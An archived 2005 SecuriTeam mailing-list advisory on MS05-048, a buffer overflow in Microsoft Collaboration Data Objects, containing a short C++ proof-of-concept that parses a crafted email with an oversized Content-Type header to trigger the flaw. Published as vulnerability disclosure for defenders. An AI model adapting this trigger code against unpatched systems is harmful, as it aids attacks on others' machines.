[EXPL] Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/17/05

  • Next message: SecuriTeam: "[NT] TYPSoft FTP Server RETR DoS"
    To: list@securiteam.com
    Date: 17 Oct 2005 10:06:15 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)
    ------------------------------------------------------------------------

    SUMMARY

    A remote code execution vulnerability exists in Collaboration Data Objects
    that could allow an attacker who successfully exploited this vulnerability
    to take complete control of the affected system. Read more about this
    vulnerability <http://www.securiteam.com/windowsntfocus/6H00C0KEBK.html>
    here.

    The following is a proof of concept for the collaboration data objects
    vulnerability in Microsoft's Windows operating system (MS05-048).

    DETAILS

    Exploit:
    //
    // Microsoft CDO Proof of Concept Exploit by Gary O'leary-Steele <garyo at
    sec-1.com>
    //
    // Step 1.
    //
    // Create an E-mail named vuln.eml including a large "Content-Type:"
    header.
    //
    // Step 2.
    //
    // Compile with -GX option
    //

    #import <msado15.dll> no_namespace rename("EOF", "adoEOF")
    #import <cdosys.dll> rename_namespace("CDO")

    #include <stdio.h>

    int main()
    {

    CoInitialize(0);
    try
    {
    CDO::IMessagePtr spMsg(__uuidof(CDO::Message));
    _StreamPtr spStream(spMsg->GetStream());
    spStream->Position = 0;
    spStream->Type = adTypeBinary;
    spStream->LoadFromFile("vuln.eml");
    spStream->Flush();

    for(long i = 1; i <= spMsg->BodyPart->BodyParts->Count; i++)
    {
    CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
    _variant_t v =
    spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;
    }

    }
    catch(_com_error &e)
    {
    printf("COM error[0x%X, %s]\n", e.Error(),
    (LPCTSTR)e.Description());
    }
    catch(...)
    {
    printf("General exception\n");
    }

    CoUninitialize();

    return 0;
    }

    CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
    _variant_t v = spBdy ->Fields
    ->Item["urn:schemas:mailheader:Content-Type"] ->Value;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:garyo@sec-1.com> Gary
    O'leary-Steele.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] TYPSoft FTP Server RETR DoS"

    Relevant Pages

    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)
    • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
      (Securiteam)